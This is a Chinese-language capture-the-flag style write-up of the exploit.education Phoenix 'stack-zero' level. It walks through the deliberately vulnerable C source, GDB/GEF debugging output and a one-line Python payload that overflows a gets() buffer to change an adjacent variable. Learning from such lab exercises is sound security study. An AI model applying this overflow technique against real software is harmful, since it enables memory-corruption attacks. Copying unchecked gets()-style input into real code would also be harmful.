exploit.educatioin/stack zero

exploit.education/stack-zero

作为一个逆向、pwn的新手新新手,找个练习的平台还是不错的。最近在看 liveOverFlow的Youtube视频,发现了这个东西,感觉不错,跟着做一做,希望能够有所提升。

环境

  1. https://exploit.education网站下载Phoenix 虚拟镜像
  2. 安装qemu
  3. 解压镜像文件,执行其中的boot-exploit-education-phoenix-amd64.sh
  4. 连接虚拟机:
    1
    ssh user@127.0.0.1 -p 2222

步骤

首先更新系统,更新gdb gef, 参考https://github.com/hugsy/gef

/opt/phoenix/amd64下面就是我们要解决的binary了,在exploit.education上面还有源码 ,来看下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* phoenix/stack-zero, by https://exploit.education
*
* The aim is to change the contents of the changeme variable.
*
* Scientists have recently discovered a previously unknown species of
* kangaroos, approximately in the middle of Western Australia. These
* kangaroos are remarkable, as their insanely powerful hind legs give them
* the ability to jump higher than a one story house (which is approximately
* 15 feet, or 4.5 metres), simply because houses can't can't jump.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

printf("%s\n", BANNER);

locals.changeme = 0;
gets(locals.buffer);

if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}

exit(0);
}

locals结构体有两个成员,一个是64字节大小的char类型的buffer变量,一个是4字节大小的volatile int类型的changeme变量。

程序首先会输出一句话,然后将locals结构体中的changeme成员赋值为0,然后通过使用gets函数获取用户输入,将内容写入locals结构体中的buffer中去。

1
2
3
4
5
6
7
8
9
10
$ man gets
...
DESCRIPTION
...
The gets() function is equivalent to fgets() with an infinite size and a stream of stdin, except that the newline character (if any) is not stored in the string. It is the caller's responsibility to ensure that the input line, if any, is sufficiently short to fit in the string.
...
SECURITY CONSIDERATIONS
The gets() function cannot be used securely. Because of its lack of bounds checking, and the inability for the calling program to reliably determine the length of the next incoming
line, the use of this function enables malicious users to arbitrarily change a running program's functionality through a buffer overflow attack. It is strongly suggested that the
fgets() function be used in all cases. (See the FSA.)

gets函数没有检查输入的大小,就直接将输入写入到地址中,造成了bof。很简单的一个程序。过关方式是将locals.changeme改变。

使用GDB调试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-zero 
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-zero...(no debugging symbols found)...done.
gef➤ start
[+] Breaking at '{<text variable, no debug info>} 0x4005dd <main>'
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero"
$rcx : 0x0
$rdx : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8"
$rsp : 0x00007fffffffe610 → 0x0000000000000001
$rbp : 0x00007fffffffe610 → 0x0000000000000001
$rsi : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero"
$rdi : 0x1
$rip : 0x00000000004005e1 → <main+4> sub rsp, 0x60
$r8 : 0x0000000000400672 → <_fini+0> push rax
$r9 : 0x0
$r10 : 0x00007ffff7dfa767 → 0x4c00636f6c6c616d ("malloc"?)
$r11 : 0x00007ffff7ffd9e0 → 0x00007ffff7d6b000 → 0x00010102464c457f
$r12 : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8"
$r13 : 0x00000000004005dd → <main+0> push rbp
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe610│+0x0000: 0x0000000000000001 ← $rsp, $rbp
0x00007fffffffe618│+0x0008: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax
0x00007fffffffe620│+0x0010: 0x0000000000000000
0x00007fffffffe628│+0x0018: 0x00007fffffffe660 → 0x0000000000000001
0x00007fffffffe630│+0x0020: 0x0000000000000000
0x00007fffffffe638│+0x0028: 0x00007ffff7ffdbc8 → 0x00007ffff7ffdbc8 → [loop detected]
0x00007fffffffe640│+0x0030: 0x0400000100003e00
0x00007fffffffe648│+0x0038: 0x00000000004004a9 → nop DWORD PTR [rax+0x0]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005d8 <frame_dummy+40> jmp 0x4004e0 <register_tm_clones>
0x4005dd <main+0> push rbp
0x4005de <main+1> mov rbp, rsp
→ 0x4005e1 <main+4> sub rsp, 0x60
0x4005e5 <main+8> mov DWORD PTR [rbp-0x54], edi
0x4005e8 <main+11> mov QWORD PTR [rbp-0x60], rsi
0x4005ec <main+15> mov edi, 0x400680
0x4005f1 <main+20> call 0x400440 <puts@plt>
0x4005f6 <main+25> mov DWORD PTR [rbp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-zero", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005e1 → main()


查看一下汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


gef➤ disassemble
Dump of assembler code for function main:
0x00000000004005dd <+0>: push rbp
0x00000000004005de <+1>: mov rbp,rsp
=> 0x00000000004005e1 <+4>: sub rsp,0x60
0x00000000004005e5 <+8>: mov DWORD PTR [rbp-0x54],edi
0x00000000004005e8 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x00000000004005ec <+15>: mov edi,0x400680
0x00000000004005f1 <+20>: call 0x400440 <puts@plt>
0x00000000004005f6 <+25>: mov DWORD PTR [rbp-0x10],0x0 ;<=====将changeme赋值为0
0x00000000004005fd <+32>: lea rax,[rbp-0x50] ;<=====取栈上的一个地址,给RAX
0x0000000000400601 <+36>: mov rdi,rax ;<=====RAX=RDI为gets的参数
0x0000000000400604 <+39>: call 0x400430 <gets@plt> ;<=====这里调用gets函数
0x0000000000400609 <+44>: mov eax,DWORD PTR [rbp-0x10] ;<=====将changeme的值赋值给eax,在这里设置数点,来观察我们的输入在栈上是什么样子
0x000000000040060c <+47>: test eax,eax ;<=====eax是否为0
0x000000000040060e <+49>: je 0x40061c <main+63>
0x0000000000400610 <+51>: mov edi,0x4006d0
0x0000000000400615 <+56>: call 0x400440 <puts@plt>
0x000000000040061a <+61>: jmp 0x400626 <main+73>
0x000000000040061c <+63>: mov edi,0x400708
0x0000000000400621 <+68>: call 0x400440 <puts@plt>
0x0000000000400626 <+73>: mov edi,0x0
0x000000000040062b <+78>: call 0x400450 <exit@plt>
End of assembler dump.

由于中64位系统,参数的时候会依次使用rdi,rsi,rdx,rcx,r8r9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gef➤  break * 0x0000000000400609
Breakpoint 1 at 0x400609
gef➤ c
Continuing.
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1 ;<=====这里是我们的输入

Breakpoint 1, 0x0000000000400609 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe5c0 → "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]"
$rbx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero"
$rcx : 0x8080808080808080
$rdx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero"
$rsp : 0x00007fffffffe5b0 → 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero"
$rbp : 0x00007fffffffe610 → 0x0000000000000001
$rsi : 0xfefefefefefefeff
$rdi : 0x00007fffffffe602 → 0x0000000000000000
$rip : 0x0000000000400609 → <main+44> mov eax, DWORD PTR [rbp-0x10]
$r8 : 0x00007fffffffe5c0 → "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]"
$r9 : 0xa0a0a0a0a0a0a0a ("\n\n\n\n\n\n\n\n"?)
$r10 : 0x8080808080808080
$r11 : 0x2
$r12 : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8"
$r13 : 0x00000000004005dd → <main+0> push rbp
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe5b0│+0x0000: 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" ← $rsp
0x00007fffffffe5b8│+0x0008: 0x0000000100000000
0x00007fffffffe5c0│+0x0010: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]" ← $rax, $r8
0x00007fffffffe5c8│+0x0018: "CCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOO[...]"
0x00007fffffffe5d0│+0x0020: "EEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1"
0x00007fffffffe5d8│+0x0028: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1"
0x00007fffffffe5e0│+0x0030: "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1"
0x00007fffffffe5e8│+0x0038: "KKKKLLLLMMMMNNNNOOOOPPPP1"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005fd <main+32> lea rax, [rbp-0x50]
0x400601 <main+36> mov rdi, rax
0x400604 <main+39> call 0x400430 <gets@plt>
→ 0x400609 <main+44> mov eax, DWORD PTR [rbp-0x10]
0x40060c <main+47> test eax, eax
0x40060e <main+49> je 0x40061c <main+63>
0x400610 <main+51> mov edi, 0x4006d0
0x400615 <main+56> call 0x400440 <puts@plt>
0x40061a <main+61> jmp 0x400626 <main+73>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-zero", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400609 → main()
gef➤ x/s $rbp-0x50 ;<================查看我们的输入
0x7fffffffe5c0: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1"
gef➤ x/s $rbp-0x10 ;<================查看changeme在栈中的值
0x7fffffffe600: "1"
gef➤ c
Continuing.
Well done, the 'changeme' variable has been changed!
[Inferior 1 (process 2862) exited normally]

OK,一句命令的话,就是这样:

1
2
3
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*64+"1"' | ./stack-zero 
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

总结

  1. gdb打开文件之后要start运行起来
  2. gdb命令:
    • disassemble: 查看当前函数的汇编代码
    • break: 设置数点,如果后面跟一个地址,加*
    • x/s $rbp-0x10: 以字符串的格式查看[rbp-0x10]地址处的值
    • c: continue,继续运行程序